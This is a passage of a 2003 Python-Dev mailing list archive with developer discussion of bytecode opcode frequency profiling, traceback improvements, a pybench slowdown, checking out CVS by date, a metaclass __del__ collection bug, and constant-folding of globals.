+1300 (NZDT) Subject: [Python-Dev] Re: module extension search order - can it be changed? In-Reply-To: <7F171EB5E155544CAC4035F0182093F04211DD@INGDEXCHSANC1.ingdirect.com> Message-ID: <200302262333.h1QNXXa00519@oma.cosc.canterbury.ac.nz> Chermside, Michael: > Guido: > > I thought for sure Greg had left off the smiley. > > Oh. Yes. Of course. Actually, I was at least partially serious. It seems more important to me for the traceback to indicate what operation was being attempted, rather than showing the literal source code; and the bytecode, together with other information available from the stack frames, ought to provide enough information to do this. I hadn't considered optimised bytecode -- I can see that could mess things up. In any case, I think there's room for providing more information in the traceback than there is now, even without decompiling anything. For example, I'd like to see some indication of the values (or at least the types) being passed to each function call. In many cases, that would save me a trip around the insert_print_statements- run-fix_the_bug-take_the_print_ statements_out_again loop. Greg Ewing, Computer Science Dept, +--------------------------------------+ University of Canterbury, | A citizen of NewZealandCorp, a | Christchurch, New Zealand | wholly-owned subsidiary of USA Inc. | greg@cosc.canterbury.ac.nz +--------------------------------------+ From greg@cosc.canterbury.ac.nz Wed Feb 26 23:37:08 2003 From: greg@cosc.canterbury.ac.nz (Greg Ewing) Date: Thu, 27 Feb 2003 12:37:08 +1300 (NZDT) Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea In-Reply-To: <3E5CEAD8.3010701@tismer.com> Message-ID: <200302262337.h1QNb8j00550@oma.cosc.canterbury.ac.nz> Christian Tismer: > >> if expression != 1 : > >> raise Exception, "Attempt to assign invalid value to True" > > hehe. raise Exception, "Attempt to re-define truth :-)" To be known as NineteenEightyFourError. Greg Ewing, Computer Science Dept, +--------------------------------------+ University of Canterbury, | A citizen of NewZealandCorp, a | Christchurch, New Zealand | wholly-owned subsidiary of USA Inc. | greg@cosc.canterbury.ac.nz +--------------------------------------+ From newsgroups1@bitfurnace.com Thu Feb 27 00:55:22 2003 From: newsgroups1@bitfurnace.com (Damien Morton) Date: Wed, 26 Feb 2003 19:55:22 -0500 Subject: [Python-Dev] Dynamic bytecode analysis Message-ID: So I enhanced the PVM dynamic execution profiler to keep track of quads of instructions rather than just pairs. Running it on PyStone, I get the following results: Note: score is frequency * len(trace) http://www.bitfurnace.com/python/dxstats-traces.txt score trace 7204142 LOAD_FAST 3701796 LOAD_FAST, LOAD_FAST 3453243 COMPARE_OP, JUMP_IF_FALSE, POP_TOP 2701110 LOAD_GLOBAL 2603086 JUMP_IF_FALSE, POP_TOP 2402196 COMPARE_OP, JUMP_IF_FALSE 2302782 LOAD_CONST 2251111 STORE_FAST 2200676 LOAD_GLOBAL, COMPARE_OP, JUMP_IF_FALSE, POP_TOP 2101580 LOAD_FAST, LOAD_CONST 2100896 STORE_FAST, LOAD_FAST 2000188 COMPARE_OP, JUMP_IF_FALSE, POP_TOP, LOAD_GLOBAL 1800639 LOAD_FAST, LOAD_CONST, BINARY_ADD 1650507 LOAD_GLOBAL, COMPARE_OP, JUMP_IF_FALSE 1650177 JUMP_IF_FALSE, POP_TOP, LOAD_GLOBAL 1600986 LOAD_GLOBAL, LOAD_FAST 1600492 LOAD_FAST, LOAD_GLOBAL, COMPARE_OP, JUMP_IF_FALSE 1500536 LOAD_CONST, BINARY_ADD 1500339 STORE_FAST, LOAD_FAST, LOAD_FAST 1500282 LOAD_FAST, STORE_ATTR 1452043 POP_TOP 1400524 LOAD_FAST, LOAD_CONST, BINARY_ADD, STORE_FAST 1400056 LOAD_FAST, LOAD_FAST, BINARY_SUBSCR, LOAD_FAST 1351596 JUMP_IF_FALSE 1300164 POP_TOP, LOAD_GLOBAL 1251127 COMPARE_OP 1203536 COMPARE_OP, JUMP_IF_FALSE, POP_TOP, LOAD_FAST ... certainly, making JUMPs consume the top-of-stack still seems worthwhile other possibilities LOAD_FAST+FAST == LOAD_FAST, LOAD_FAST JUMP_IF_CMP == COMPARE_OP, JUMP_IF_FALSE -- consumes two items off the stack LOAD_FAST+CONST == LOAD_FAST, LOAD_CONST ADD_CONST == LOAD_CONST, BINARY_ADD FAST_SUBSCR == LOAD_FAST, LOAD_FAST, BINARY_SUBSCR If anyone has any suggestions of a better app than PyStone to profile, I would be grateful. From guido@python.org Thu Feb 27 01:43:52 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 26 Feb 2003 20:43:52 -0500 Subject: [Python-Dev] Re: module extension search order - can it be changed? In-Reply-To: Your message of "Thu, 27 Feb 2003 12:33:33 +1300." <200302262333.h1QNXXa00519@oma.cosc.canterbury.ac.nz> References: <200302262333.h1QNXXa00519@oma.cosc.canterbury.ac.nz> Message-ID: <200302270143.h1R1hqF23356@odiug.zope.com> > In any case, I think there's room for providing more information in > the traceback than there is now, even without decompiling > anything. For example, I'd like to see some indication of the values > (or at least the types) being passed to each function call. In many > cases, that would save me a trip around the insert_print_statements- > run-fix_the_bug-take_the_print_ statements_out_again loop. Check out cgitb.py. It does a lot of that (albeit in HTML). --Guido van Rossum (home page: http://www.python.org/~guido/) From skip@pobox.com Thu Feb 27 02:10:25 2003 From: skip@pobox.com (Skip Montanaro) Date: Wed, 26 Feb 2003 20:10:25 -0600 Subject: [Python-Dev] Re: module extension search order - can it be changed? In-Reply-To: <200302270143.h1R1hqF23356@odiug.zope.com> References: <200302262333.h1QNXXa00519@oma.cosc.canterbury.ac.nz> <200302270143.h1R1hqF23356@odiug.zope.com> Message-ID: <15965.29586.1188.380076@montanaro.dyndns.org> Guido> Check out cgitb.py. It does a lot of that (albeit in HTML). I have a version of cgitb which includes the ability to display plain text. See . Last time I brought the topic up the suggestion was that much of this functionality belongs in traceback.py. I'm not sure I'm up to such major module surgery. It would probably be more productive for Ping to tackle that. Skip From mal@lemburg.com Thu Feb 27 08:41:11 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Thu, 27 Feb 2003 09:41:11 +0100 Subject: [Python-Dev] Dynamic bytecode analysis In-Reply-To: References: Message-ID: <3E5DCF27.7070407@lemburg.com> Damien Morton wrote: > So I enhanced the PVM dynamic execution profiler to keep track of quads of > instructions rather than just pairs. Running it on PyStone, I get the > following results: pystone is *not* your typical Python application. If you want some interesting data, I'd suggest to use applications like Zope, PySol, Mailman, etc. as basis. The easiest way to do this is by instrumenting the Python interpreter used by all these applications and have it write its data to a pickle every now and then. Here's an example from the Python 1.5 days: Opcode frequencies: ------------------------------------------------------------------------ SET_LINENO(127) : 12036 ================================ LOAD_FAST(124) : 10366 =========================== LOAD_ATTR(105) : 4565 ============ LOAD_CONST(100) : 4549 ============ POP_TOP( 1) : 3756 ========= STORE_FAST(125) : 3580 ========= CALL_FUNCTION(131) : 2558 ====== JUMP_IF_FALSE(111) : 2142 ===== LOAD_GLOBAL(116) : 2056 ===== COMPARE_OP(106) : 2001 ===== RETURN_VALUE( 83) : 1593 ==== FOR_LOOP(114) : 1363 === BINARY_ADD( 23) : 1133 === STORE_NAME( 90) : 1062 == JUMP_ABSOLUTE(113) : 835 == MAKE_FUNCTION(132) : 753 == SETUP_LOOP(120) : 568 = POP_BLOCK( 87) : 536 = JUMP_FORWARD(110) : 503 = 32( 32) : 442 = JUMP_IF_TRUE(112) : 438 = LOAD_NAME(101) : 425 = DUP_TOP( 4) : 421 = UNARY_NEGATIVE( 11) : 411 = SETUP_EXCEPT(121) : 410 = 31( 31) : 409 = -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 27 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 33 days left EuroPython 2003, Charleroi, Belgium: 117 days left From mal@lemburg.com Thu Feb 27 08:52:21 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Thu, 27 Feb 2003 09:52:21 +0100 Subject: [Python-Dev] Slowdown in Python CVS Message-ID: <3E5DD1C5.2070800@lemburg.com> My nightly run of pybench went up from the usual 7590ms per run to around 8200ms between Monday night and today. Can anyone explain this ? Thanks, -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 27 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 33 days left EuroPython 2003, Charleroi, Belgium: 117 days left From dmorton@bitfurnace.com Thu Feb 27 09:16:24 2003 From: dmorton@bitfurnace.com (damien morton) Date: Thu, 27 Feb 2003 04:16:24 -0500 Subject: [Python-Dev] Dynamic bytecode analysis In-Reply-To: <3E5DCF27.7070407@lemburg.com> Message-ID: <000001c2de40$e780b400$6401a8c0@damien> Im not sure how I could properly excersise Zope, and Mailman doesn't run under windows. PySol is do-able. Any other suggestions as to apps worthy of profiling? Would the python standard library unit tests qualify? > -----Original Message----- > From: M.-A. Lemburg [mailto:mal@lemburg.com] > Sent: Thursday, 27 February 2003 03:41 > To: Damien Morton > Cc: python-dev@python.org > Subject: Re: [Python-Dev] Dynamic bytecode analysis > > > Damien Morton wrote: > > So I enhanced the PVM dynamic execution profiler to keep track of > > quads of instructions rather than just pairs. Running it on > PyStone, I > > get the following results: > > pystone is *not* your typical Python application. If you want > some interesting data, I'd suggest to use applications like > Zope, PySol, Mailman, etc. as basis. > > The easiest way to do this is by instrumenting the Python > interpreter used by all these applications and have it write > its data to a pickle every now and then. Here's an example > from the Python 1.5 days: > > Opcode frequencies: > -------------------------------------------------------------- > ---------- > SET_LINENO(127) : 12036 > ================================ > LOAD_FAST(124) : 10366 =========================== > LOAD_ATTR(105) : 4565 ============ > LOAD_CONST(100) : 4549 ============ > POP_TOP( 1) : 3756 ========= > STORE_FAST(125) : 3580 ========= > CALL_FUNCTION(131) : 2558 ====== > JUMP_IF_FALSE(111) : 2142 ===== > LOAD_GLOBAL(116) : 2056 ===== > COMPARE_OP(106) : 2001 ===== > RETURN_VALUE( 83) : 1593 ==== > FOR_LOOP(114) : 1363 === > BINARY_ADD( 23) : 1133 === > STORE_NAME( 90) : 1062 == > JUMP_ABSOLUTE(113) : 835 == > MAKE_FUNCTION(132) : 753 == > SETUP_LOOP(120) : 568 = > POP_BLOCK( 87) : 536 = > JUMP_FORWARD(110) : 503 = > 32( 32) : 442 = > JUMP_IF_TRUE(112) : 438 = > LOAD_NAME(101) : 425 = > DUP_TOP( 4) : 421 = > UNARY_NEGATIVE( 11) : 411 = > SETUP_EXCEPT(121) : 410 = > 31( 31) : 409 = > > -- > Marc-Andre Lemburg > eGenix.com > > Professional Python Software directly from the Source (#1, > Feb 27 2003) > >>> Python/Zope Products & Consulting ... > http://www.egenix.com/ > >>> mxODBC, mxDateTime, mxTextTools > ... http://python.egenix.com/ > ______________________________________________________________ > __________ > Python UK 2003, Oxford: > 33 days left > EuroPython 2003, Charleroi, Belgium: > 117 days left > > From mal@lemburg.com Thu Feb 27 09:44:49 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Thu, 27 Feb 2003 10:44:49 +0100 Subject: [Python-Dev] Dynamic bytecode analysis In-Reply-To: <000001c2de40$e780b400$6401a8c0@damien> References: <000001c2de40$e780b400$6401a8c0@damien> Message-ID: <3E5DDE11.8050107@lemburg.com> damien morton wrote: > Im not sure how I could properly excersise Zope, and Mailman doesn't run > under windows. PySol is do-able. Any other suggestions as to apps worthy > of profiling? Anything with more than 10kloc Python code should do, I guess. > Would the python standard library unit tests qualify? Nope :-) >>-----Original Message----- >>From: M.-A. Lemburg [mailto:mal@lemburg.com] >>Sent: Thursday, 27 February 2003 03:41 >>To: Damien Morton >>Cc: python-dev@python.org >>Subject: Re: [Python-Dev] Dynamic bytecode analysis >> >> >>Damien Morton wrote: >> >>>So I enhanced the PVM dynamic execution profiler to keep track of >>>quads of instructions rather than just pairs. Running it on >> >>PyStone, I >> >>>get the following results: >> >>pystone is *not* your typical Python application. If you want >>some interesting data, I'd suggest to use applications like >>Zope, PySol, Mailman, etc. as basis. >> >>The easiest way to do this is by instrumenting the Python >>interpreter used by all these applications and have it write >>its data to a pickle every now and then. Here's an example >>from the Python 1.5 days: >> >>Opcode frequencies: >>-------------------------------------------------------------- >>---------- >> SET_LINENO(127) : 12036 >>================================ >> LOAD_FAST(124) : 10366 =========================== >> LOAD_ATTR(105) : 4565 ============ >> LOAD_CONST(100) : 4549 ============ >> POP_TOP( 1) : 3756 ========= >> STORE_FAST(125) : 3580 ========= >> CALL_FUNCTION(131) : 2558 ====== >> JUMP_IF_FALSE(111) : 2142 ===== >> LOAD_GLOBAL(116) : 2056 ===== >> COMPARE_OP(106) : 2001 ===== >> RETURN_VALUE( 83) : 1593 ==== >> FOR_LOOP(114) : 1363 === >> BINARY_ADD( 23) : 1133 === >> STORE_NAME( 90) : 1062 == >> JUMP_ABSOLUTE(113) : 835 == >> MAKE_FUNCTION(132) : 753 == >> SETUP_LOOP(120) : 568 = >> POP_BLOCK( 87) : 536 = >> JUMP_FORWARD(110) : 503 = >> 32( 32) : 442 = >> JUMP_IF_TRUE(112) : 438 = >> LOAD_NAME(101) : 425 = >> DUP_TOP( 4) : 421 = >> UNARY_NEGATIVE( 11) : 411 = >> SETUP_EXCEPT(121) : 410 = >> 31( 31) : 409 = >> >>-- >>Marc-Andre Lemburg >>eGenix.com >> >>Professional Python Software directly from the Source (#1, >>Feb 27 2003) >> >>> Python/Zope Products & Consulting ... >>http://www.egenix.com/ >> >>> mxODBC, mxDateTime, mxTextTools >>... http://python.egenix.com/ >>______________________________________________________________ >>__________ >>Python UK 2003, Oxford: >>33 days left >>EuroPython 2003, Charleroi, Belgium: >>117 days left >> >> > > > > _______________________________________________ > Python-Dev mailing list > Python-Dev@python.org > http://mail.python.org/mailman/listinfo/python-dev -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 27 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 33 days left EuroPython 2003, Charleroi, Belgium: 117 days left From mwh@python.net Thu Feb 27 12:12:38 2003 From: mwh@python.net (Michael Hudson) Date: Thu, 27 Feb 2003 12:12:38 +0000 Subject: [Python-Dev] module extension search order - can it be changed? In-Reply-To: <200302252042.h1PKgjZ08619@odiug.zope.com> (Guido van Rossum's message of "Tue, 25 Feb 2003 15:42:45 -0500") References: <5AC6040C-48FE-11D7-9C8C-000393877AE4@codefab.com> <200302252042.h1PKgjZ08619@odiug.zope.com> Message-ID: <2misv57wi1.fsf@starship.python.net> Guido van Rossum writes: >> Speaking entirely from a point of ignorance, why are the source line #s >> not shown for frames that are implemented in modules loaded from >> zipimport? > > Because the code printing the tracebacks doesn't know how to look > inside a zip file. It Would Be Nice (tm) if the code that printed tracebacks could be made cleverer in some fashion. For instance, in a pyrepl session I have the source in the session's history and it would surely be nice if I could display it in tracebacks. Of course, I have no idea how to go about implementing this :-) Cheers, M. -- I never realized it before, but having looked that over I'm certain I'd rather have my eyes burned out by zombies with flaming dung sticks than work on a conscientious Unicode regex engine. -- Tim Peters, 3 Dec 1998 From guido@python.org Thu Feb 27 12:15:24 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 27 Feb 2003 07:15:24 -0500 Subject: [Python-Dev] Dynamic bytecode analysis In-Reply-To: "Your message of Thu, 27 Feb 2003 04:16:24 EST." <000001c2de40$e780b400$6401a8c0@damien> References: <000001c2de40$e780b400$6401a8c0@damien> Message-ID: <200302271215.h1RCFOw02101@pcp02138704pcs.reston01.va.comcast.net> > Would the python standard library unit tests qualify? Definitely not. It has highly atypical behavior. --Guido van Rossum (home page: http://www.python.org/~guido/) From mhammond@skippinet.com.au Thu Feb 27 12:19:26 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Thu, 27 Feb 2003 23:19:26 +1100 Subject: [Python-Dev] module extension search order - can it be changed? In-Reply-To: <2misv57wi1.fsf@starship.python.net> Message-ID: [Michael] > It Would Be Nice (tm) if the code that printed tracebacks could be > made cleverer in some fashion. I guess this could be a 2-stage thing: * Delegate the dumping of tracebacks in C code back to the traceback module. I guess that the existing code would need to remain if an error is raised printing it, but in general, traceback does a fine job. * Give linecache some additional smarts. Once we are back in Python land, the possibilities become vast. Mark. From guido@python.org Thu Feb 27 12:25:44 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 27 Feb 2003 07:25:44 -0500 Subject: [Python-Dev] Slowdown in Python CVS In-Reply-To: "Your message of Thu, 27 Feb 2003 09:52:21 +0100." <3E5DD1C5.2070800@lemburg.com> References: <3E5DD1C5.2070800@lemburg.com> Message-ID: <200302271225.h1RCPiS02208@pcp02138704pcs.reston01.va.comcast.net> > My nightly run of pybench went up from the usual 7590ms per > run to around 8200ms between Monday night and today. Can anyone > explain this ? Did you compare the outputs? There could be importants hint there! :-) Maybe this checkin to ceval.c backfired? ---------------------------- revision 2.351 date: 2003/02/26 18:11:50; author: rhettinger; state: Exp; lines: +18 -4 Micro-optimizations. * List/Tuple checkexact is faster for the common case. * Testing for Py_True and Py_False can be inlined for faster looping. ---------------------------- --Guido van Rossum (home page: http://www.python.org/~guido/) From mal@lemburg.com Thu Feb 27 12:54:08 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Thu, 27 Feb 2003 13:54:08 +0100 Subject: [Python-Dev] Slowdown in Python CVS In-Reply-To: <200302271225.h1RCPiS02208@pcp02138704pcs.reston01.va.comcast.net> References: <3E5DD1C5.2070800@lemburg.com> <200302271225.h1RCPiS02208@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <3E5E0A70.6020803@lemburg.com> Guido van Rossum wrote: >>My nightly run of pybench went up from the usual 7590ms per >>run to around 8200ms between Monday night and today. Can anyone >>explain this ? > > Did you compare the outputs? There could be importants hint there! > :-) Unfortunately, the cronjob always uses the same file to store the benchmark data (I've changed that now, to be able to check on a day-per-day basis). Is there a way to check out a Python CVS version dated 2003-02-24 ? I could then give that a try again. > Maybe this checkin to ceval.c backfired? > > ---------------------------- > revision 2.351 > date: 2003/02/26 18:11:50; author: rhettinger; state: Exp; lines: +18 -4 > Micro-optimizations. > * List/Tuple checkexact is faster for the common case. > * Testing for Py_True and Py_False can be inlined for faster looping. > ---------------------------- Could be. I don't think inlining in ceval will help. The switch is too long already and it's much better to let the compiler/processor decide which parts should really get inlined since they have more knowledge about the platform than we do (sometimes :-). -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 27 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 33 days left EuroPython 2003, Charleroi, Belgium: 117 days left From pedronis@bluewin.ch Thu Feb 27 12:48:43 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Thu, 27 Feb 2003 13:48:43 +0100 Subject: [Python-Dev] bug? classes whose metclass has __del__ are not collectible Message-ID: <024201c2de5e$8f7e33e0$6d94fea9@newmexico> new-style classes keep track of their subclasses through weak-refs so they remain in general collectible. consider this code: (inspired by this post comp.lang.python post id: ) import sys class MyMetaclass(type): def __init__(cls, name, bases, dict): super(MyMetaclass, cls).__init__(name, bases, dict) print 'initialized', cls.__name__ if 'meta__del__' in sys.argv: print "*meta__del__*" def __del__(cls): print 'deleted', cls.__name__ class MyClass(object): if 'meta' in sys.argv: print "*meta*" __metaclass__ = MyMetaclass pass class Sub(MyClass): pass del Sub import gc gc.collect() # force involved weak-refs to be cleared print "MyClass subclasses",MyClass.__subclasses__() print "garbage",gc.garbage Now: C:\exp\py-subclasses-gc>\transit\Py23\python test.py MyClass subclasses [] garbage [] C:\exp\py-subclasses-gc>\transit\Py23\python test.py meta *meta* initialized MyClass initialized Sub MyClass subclasses [] garbage [] also Sub with both metaclass type or MyMetaclass without __del__ is collectible and collected but: C:\exp\py-subclasses-gc>\transit\Py23\python test.py meta meta__del__ *meta__del__* *meta* initialized MyClass initialized Sub MyClass subclasses [] garbage [] if MyMetaclass grows a __del__ method Sub is no longer collectible ... From jepler@unpythonic.net Thu Feb 27 13:48:10 2003 From: jepler@unpythonic.net (Jeff Epler) Date: Thu, 27 Feb 2003 07:48:10 -0600 Subject: [Python-Dev] Re: Code Generation Idea Was: Bytecode idea In-Reply-To: <20030226185645.GC24106@logilab.fr> References: <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> <15964.55750.86825.114047@montanaro.dyndns.org> <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu> <15964.59840.342254.176499@montanaro.dyndns.org> <20030226185645.GC24106@logilab.fr> Message-ID: <20030227134810.GB21507@unpythonic.net> For my native-code translation system (which died an early death), I intended to introduce a new attribute which would indicate what (module) attributes could be considered constant. I think that for whatever reason I decided to call this __solid__. So for instance, you might write import math assert 'pi' in math.__solid__ __solid__ = ['sys', 'math', 'MYCONST', 'MyClass', 'myfun'] MYCONST = 22./7 class MyClass: __solid__ = ['mymethod'] def mymethod(self): return MYCONST - math.pi mymethod = staticmethod(jit(mymethod)) def myfun(): print MyClass.mymethod() myfun = jit(myfun) myfun() This allows a whole range of optimizations. LOAD_GLOBAL optimizes to LOAD_CONST. LOAD_CONST + LOAD_ATTR optimizes to LOAD_CONST. Then more constant folding becomes possible. In MyFun, the sequence LOAD_GLOBAL MyClass LOAD_ATTR mymethod CALL_FUNCTION can be reduced to LOAD_CONST MyClass.mymethod CALL_FUNCTION which could even allow MyClass.mymethod to be inlined In MyClass.mymethod, the arithmetic reduces from LOAD_GLOBAL, LOAD_GLOBAL, LOAD_ATTR, BINARY_SUBTRACT to LOAD_CONST, LOAD_CONST, BINARY_SUBTRACT with compiletime-known types which can be turned into a single constant load. In the most extreme case, the code (myfun + mymethod) could reduce to the sequence LOAD_CONST, PRINT_ITEM, PRINT_NEWLINE, RETURN_NONE avoiding all namespace lookups and function calls. Jeff From skip@pobox.com Thu Feb 27 14:01:43 2003 From: skip@pobox.com (Skip Montanaro) Date: Thu, 27 Feb 2003 08:01:43 -0600 Subject: [Python-Dev] Dynamic bytecode analysis In-Reply-To: <3E5DCF27.7070407@lemburg.com> References: <3E5DCF27.7070407@lemburg.com> Message-ID: <15966.6727.658752.535219@montanaro.dyndns.org> mal> pystone is *not* your typical Python application. If you want some mal> interesting data, I'd suggest to use applications like Zope, PySol, mal> Mailman, etc. as basis. Let me mention once again that I have an XML-RPC server available to which applications can connect and upload their dynamic opcode frequencies. This can be done more-or-less transparently using the atexit module. Others can then fetch aggregate information for use like Damien's. It's running at dxp = xmlrpclib.ServerProxy("http://manatee.mojam.com:7304") To get a usage message, execute print dxp.usage() I've run it for the past couple months, since my last announcement here and in c.l.py but have yet to pick up any data. I'm going to take a dose of my own medicine and start running Python on my development machine with DYNAMIC_EXCUTION_PROFILE and DXPAIRS defined and modify my interactive setup and a couple applications I run frequently to dump their instruction counts. Skip From skip@pobox.com Thu Feb 27 14:32:59 2003 From: skip@pobox.com (Skip Montanaro) Date: Thu, 27 Feb 2003 08:32:59 -0600 Subject: [Python-Dev] Dynamic bytecode analysis In-Reply-To: <000001c2de40$e780b400$6401a8c0@damien> References: <3E5DCF27.7070407@lemburg.com> <000001c2de40$e780b400$6401a8c0@damien> Message-ID: <15966.8603.219808.245729@montanaro.dyndns.org> damien> Im not sure how I could properly excersise Zope, and Mailman damien> doesn't run under windows. PySol is do-able. Any other damien> suggestions as to apps worthy of profiling? Zope can be exercised by simply creating a shell script which retrieves a given set of URLs from the server. Obviously, what you fetch will depend on what applications have been built using the server. Using sitecustomize, all apps can be instrumented without modification to dump their instruction counts at program termination. Here's my new sitecustomize.py, which dumps to my dxp server on manatee.mojam.com (please change EMAIL to suit if you decide to use this): import atexit import sys, os, xmlrpclib EMAIL = 'skip@pobox.com' if not hasattr(sys, 'getdxp'): print >> sys.stderr, "instruction count tracking not available" else: def rle(l): newl = [] lastel = None count = 0 for elt in l: if elt == lastel: count = count + 1 continue elif lastel is not None: if isinstance(lastel, list): lastel = rle(lastel) newl.append([lastel, count]) lastel = elt count = 1 if isinstance(lastel, list): lastel = rle(lastel) newl.append([lastel, count]) return newl def rld(l): newl = [] for elt, count in l: if isinstance(elt, list): elt = rld(elt) newl.extend([elt]*count) return newl def send_instruction_counts(email): print >> sys.stderr, "sending instruction counts to manatee" appname = os.path.basename(sys.argv[0]) or "interactive" dxpserver = xmlrpclib.Server('http://manatee.mojam.com:7304') dxpserver.add_dx_info(appname, email, sys.version_info[:3], rle(sys.getdxp())) atexit.register(send_instruction_counts, EMAIL) You can grab data from the server like so: from sitecustomize import rld x = dxpserver.get_dxp_info([2,3,0]) counts = rld(x['counts']) pairs = rld(x['pairs']) Skip From sjoerd@acm.org Thu Feb 27 15:58:12 2003 From: sjoerd@acm.org (Sjoerd Mullender) Date: Thu, 27 Feb 2003 16:58:12 +0100 Subject: [Python-Dev] Slowdown in Python CVS In-Reply-To: <3E5E0A70.6020803@lemburg.com> References: <3E5DD1C5.2070800@lemburg.com> <200302271225.h1RCPiS02208@pcp02138704pcs.reston01.va.comcast.net> <3E5E0A70.6020803@lemburg.com> Message-ID: <20030227155813.3279074EB0@indus.ins.cwi.nl> On Thu, Feb 27 2003 "M.-A. Lemburg" wrote: > Is there a way to check out a Python CVS version dated 2003-02-24 ? > I could then give that a try again. cvs update -D '24 Feb 2003' -- Sjoerd Mullender From jeremy@zope.com Thu Feb 27 16:20:02 2003 From: jeremy@zope.com (Jeremy Hylton) Date: 27 Feb 2003 11:20:02 -0500 Subject: [Python-Dev] Dynamic bytecode analysis In-Reply-To: <000001c2de40$e780b400$6401a8c0@damien> References: <000001c2de40$e780b400$6401a8c0@damien> Message-ID: <1046362802.13475.3.camel@slothrop.zope.com> On Thu, 2003-02-27 at 04:16, damien morton wrote: > Im not sure how I could properly excersise Zope, and Mailman doesn't run > under windows. PySol is do-able. Any other suggestions as to apps worthy > of profiling? > > Would the python standard library unit tests qualify? Use the compiler package in the standard library to compile a non-trivial chunk of Python code -- like the compiler package. Use one of the standard XML or HTML parsers to parse a large file. Jeremy From Ludovic.Aubry@logilab.fr Thu Feb 27 15:02:46 2003 From: Ludovic.Aubry@logilab.fr (Ludovic Aubry) Date: Thu, 27 Feb 2003 16:02:46 +0100 Subject: [Python-Dev] Re: Code Generation Idea Was: Bytecode idea In-Reply-To: <3E5D29D6.90803@lemburg.com> References: <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> <15964.55750.86825.114047@montanaro.dyndns.org> <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu> <15964.59840.342254.176499@montanaro.dyndns.org> <20030226185645.GC24106@logilab.fr> <3E5D29D6.90803@lemburg.com> Message-ID: <20030227150246.GB31841@logilab.fr> On Wed, Feb 26, 2003 at 09:55:50PM +0100, M.-A. Lemburg wrote: > Ludovic Aubry wrote: > >I have a piece of code that does (almost) exactly that, except at > >runtime. > >It's purpose is to optimize access to globals used as constants by > >replacing the LOAD_GLOBAL opcode by a LOAD_CONST. > >It does that by creating a new code object for the function you provide > >and using a list of symbols to consider constant. > > > > [code] > > I suppose this kind of code could be put to some good use > if we ever get some of the recently discussed function modifiers > into Python: > > def myFunction(a,b) [bindglobals]: > for i in range(len(a)): > b[i] = math.sin(a[i]) * math.cos(2) > > Hmm, now we'd only need a way to describe "this function has no > side-effects and behaves like a mathematical function (same inputs > map to same outputs)"... then we could also optimize cos(2) > into the constants area :-) > With a [bindglobals] modifier we need a way to specify which objects we want to bind. We can pass a list or dict as with my example or we can have the container of the definition tell us if a symbol should be a constant. Actually my first implementation of this code was using a __consts__ variable (like Jeff's __solid__) to tell the bind function what symbol it could replace. I patched PyFunction_New to create a new code object at the time the function object was created, thus binding or not was decided by looking for the __consts__ variable in the globals. There was no need for a [bindglobals] but people not knowing I patched the interpreter were a little bit confused ;) -- Ludovic Aubry LOGILAB, Paris (France). http://www.logilab.com http://www.logilab.fr http://www.logilab.org From tim.one@comcast.net Thu Feb 27 15:02:56 2003 From: tim.one@comcast.net (Tim Peters) Date: Thu, 27 Feb 2003 10:02:56 -0500 Subject: [Python-Dev] Slowdown in Python CVS In-Reply-To: <3E5E0A70.6020803@lemburg.com> Message-ID: [M.-A. Lemburg] > ... > Is there a way to check out a Python CVS version dated 2003-02-24 ? > I could then give that a try again. Use the -D option to the checkout command: -D date Check out revisions as of date. (implies -P) (is sticky) It's highly creative in what it accepts for "a date" . From mal@lemburg.com Thu Feb 27 16:50:19 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Thu, 27 Feb 2003 17:50:19 +0100 Subject: [Python-Dev] Slowdown in Python CVS In-Reply-To: <20030227155813.3279074EB0@indus.ins.cwi.nl> References: <3E5DD1C5.2070800@lemburg.com> <200302271225.h1RCPiS02208@pcp02138704pcs.reston01.va.comcast.net> <3E5E0A70.6020803@lemburg.com> <20030227155813.3279074EB0@indus.ins.cwi.nl> Message-ID: <3E5E41CB.7060501@lemburg.com> Sjoerd Mullender wrote: > On Thu, Feb 27 2003 "M.-A. Lemburg" wrote: > > >>Is there a way to check out a Python CVS version dated 2003-02-24 ? >>I could then give that a try again. > > cvs update -D '24 Feb 2003' Thanks ! -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 27 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 33 days left EuroPython 2003, Charleroi, Belgium: 117 days left From guido@python.org Thu Feb 27 15:22:22 2003 From: guido@python.org (Guido van Rossum) 